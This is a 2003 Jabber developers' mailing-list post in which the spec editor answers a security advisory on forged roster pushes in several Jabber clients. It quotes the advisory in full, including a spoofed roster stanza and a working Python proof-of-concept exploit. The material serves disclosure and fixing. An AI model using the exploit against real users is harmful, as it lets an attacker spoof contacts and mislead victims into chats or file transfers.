[JDEV] [SECURITY] Remote roster manipulation bug in various Jabber clients

Peter Saint-Andre stpeter at jabber.org
Thu Jul 3 11:27:22 CDT 2003


This is a server bug. With what server did you test this? AFAIK, both
jabberd 1.4.* and the Jabber Inc. server do the right thing here.

The correct behavior is as follows (I have added this text to my working
copy of draft-ietf-xmpp-im):

  A server MUST ignore any 'to' address on a roster "set", and 
  MUST treat any roster "set" as applying to the sender. For added 
  safety, a client SHOULD check the "from" address of a roster "push" 
  to ensure that it is from a trusted source; specifically, the stanza 
  should have no 'from' attribute (i.e., implicitly from the server) 
  or the JID contained in the 'from' attribute should match the user's 
  bare JID or full JID; otherwise, the client SHOULD ignore the roster 
  "push".

Peter

On Wed, Jul 02, 2003 at 10:05:11PM +0200, Jacek Konieczny wrote:
> DESCRIPTION
> 
> From http://www.jabber.org/ :
> 
>   Jabber is an open XML protocol for the real-time exchange of messages
>   and presence between any two points on the Internet. The first
>   application of Jabber technology is an asynchronous, extensible instant
>   messaging platform, and an IM network that offers functionality similar
>   to legacy IM systems such as AIM, ICQ, MSN, and Yahoo. However, Jabber
>   offers several advantages over legacy IM systems.
> 
> RFC documents describing Jabber protocol (know as XMPP now) are being
> prepared.
> 
> I have found a bug in most Jabber clients which allows to remotely
> modify roster (list of contacts) displayed by the client. This can be
> done by anyone who is able to establish his own Jabber server and allows
> to forge contacts seen by the user. The actual roster stored on server
> may not be modified directly using this bug.
> 
> I was thinking about informing authors first, but I would not be able to
> test all Jabber clients and reach authors of all vulnerable clients. So
> only some of them would be in privileged position.
> 
> DETAILS
> 
> 1. Background
> 
> Roster is contact list stored on Jabber server. It is usually retrieved
> by clients on login, managed by client, but always synchronized with
> server. Roster contains following information:
> 
> - JID (jabber id) of contact - unique for each item
> - contact name (nickname)
> - list of groups (may be empty)
> - presence subscriptions (information if contact can see user's presence
>   and if user can see contact's presence)
> - subscription state (if presence subscription/unsubscription is pending)
> 
> Multiple clients may be logged to the same Jabber account at once and
> their rosters are synchronized. Roster may also be changed due to
> presence subscription changes, which are managed by server. All roster
> changes in clients are sent to server, and all changes in server are
> sent to all connected clients. These "roster pushes" are sent as "IQ"
> request with "jabber:iq:roster" namespace.
> 
> Such update request sent by server looks like this:
> <iq type='set'>
> 	<query xmlns='jabber:iq:roster'>
> 		<item jid='jajcus at jabber.bnet.pl' 
> 			name='Jajcus' 
> 			subscription='both'>
> 				<group>Jabber Hackers</group>
> 		</item>
> 	</query>
> </iq>
> 
> According to XMPP specs the <iq/> stanza could contain "from" and "to"
> attributes which should contain full JID of the session then.
> 
> If the "subscription" attribute is set to "remove" then given item is 
> to be removed.
> 
> 2. Vulnerability
> 
> Many Jabber clients don't check "from" attribute of the roster push.
> Such <iq/> stanza may be sent by anyone and will be routed to the client
> session it was addressed to. Such stanza is processed by vulnerable
> client as it was generated by server.
> 
> By sending following stanza (directed to victim's full JID):
> 
> <iq type='set' to='victim at jabber.server/resource'>
> 	<query xmlns='jabber:iq:roster'>
> 		<item jid='jajcus at jabber.bnet.pl' 
> 			name='Jajcus' 
> 			subscription='both'>
> 				<group>Jabber Hackers</group>
> 		</item>
> 	</query>
> </iq>
> 
> One would be able to add me to roster in victims client.
> 
> 3. Impact
> 
> The attack cannot be done from Jabber client connection to jabberd 1.4.x
> server because of similar bug (or feature) in this server - it doesn't
> check "to" attribute and all such <iq/>s treats as directed to the
> server. Attacker roster stored on server is modified instead of victims
> ones.
> 
> For attack to succeed one must know not only user's bare JID, but also
> name of a connected resource. Presence from the user is needed to get
> such information, but usually it may be guessed - it would usually be
> client name ("Psi","tkabber", etc.) or location ("Home","Work",etc.).
> 
> By using this vulnerability and modifying someone's roster one may make
> him start chat or send file to a person user doesn't intend contact
> with. This would require send one <iq/> to remove original entry, second
> one to add new entry with the same name and usually <presence/> to show
> the contact available. The new JID will usually be visible in chat
> window or in roster item details, but users usually care about contact
> name only.
> 
> This method changes roster copy in client only and doesn't change
> original roster on server. But if victim changes the forged entry 
> (eg. to fix a typo) it will be sent to his server. However subscription
> information cannot be changed this way.
> 
> 4. Vulnerable software
> 
> I have tested:
> 
> - Gabber 0.8.8
> - tkabber 0.9.4beta
> - Psi 0.8.7
> - Psi 0.9
> 
> And I found all of them vulnerable.
> 
> 5. Proposed fix
> 
> In clients before handling roster pushes check "from" attribute and drop
> the request if "from" is set and is not session's full JID. 
> 
> 6. Possible workaround
> 
> On server drop all <iq/> stanzas from "outside" containing
> "jabber:iq:roster" namespace. However, this breaks normal XMPP stanza
> routing rules.
> 
> 7. Exploit
> 
> In attachment.
> 
> 8. Thanks
> 
> Thanks to kalma, bluszcz and tristan for allowing me to hack their
> clients and to mmazur for the help with the advisory :)
> 
> Greets,
> 	Jacek Konieczny

> #!/usr/bin/python
> #
> # exploit for "remote roster manipulation" bug of various Jabber clients
> # (c) 2003 Jacek Konieczny <jajcus at bnet.pl>
> #
> # Requires: http://jabberpy.sourceforge.net/
> #
> # This exploit is an external component to jabber server which adds
> # new item to victims roster (client local copy only)
> #
> # To link the exploit with your jabberd following fragment to your jabber.xml
> # and restart jabberd.
> # source.domain must be valid DNS hostname and point to your jabberd
> #
> # <service id="bug">
> #     <host>source.domain</host>
> #     <accept>
> #         <ip>127.0.0.1</ip>
> #         <secret>secret</secret>
> #         <port>6969</port>
> #     </accept>
> # </service>
> #
> # Usage:
> #	./exploit.py target-full-jid
> #
> # eg.:
> #	./exploit.py someone at jabber.nowhere/Home
> 
> 
> import jabber
> import xmlstream
> import sys
> 
> def iq_handler(con,iq):
> 	print "Got IQ:",str(iq.asNode())
> 
> me="source.domain"
> 
> con = jabber.Component(host='127.0.0.1', debug=0, port=6969, log='log')
> con.connect()
> con.process(1)
> con.auth('secret')
> con.setIqHandler(iq_handler)
> 
> try:
> 	iq=jabber.Iq(to=sys.argv[1],type="set")
> 	iq.setFrom(me)
> 	query=iq.setQuery('jabber:iq:roster')
> 	group=xmlstream.Node("group")
> 	group.putData("Bugs")
> 	item=xmlstream.Node("item")
> 	item.putAttr("jid","bug at bug.nowhere")
> 	item.putAttr("name","BUG! BUG! BUG!")
> 	item.putAttr("subscription","none")
> 	item.insertNode(group)
> 	query.insertNode(item)
> 	con.send(iq)
> 	while(1):
> 		con.process(10)
> except KeyboardInterrupt:
>     con.disconnect()




-- 
Peter Saint-Andre
Jabber Software Foundation
http://www.jabber.org/people/stpeter.php




More information about the JDev mailing list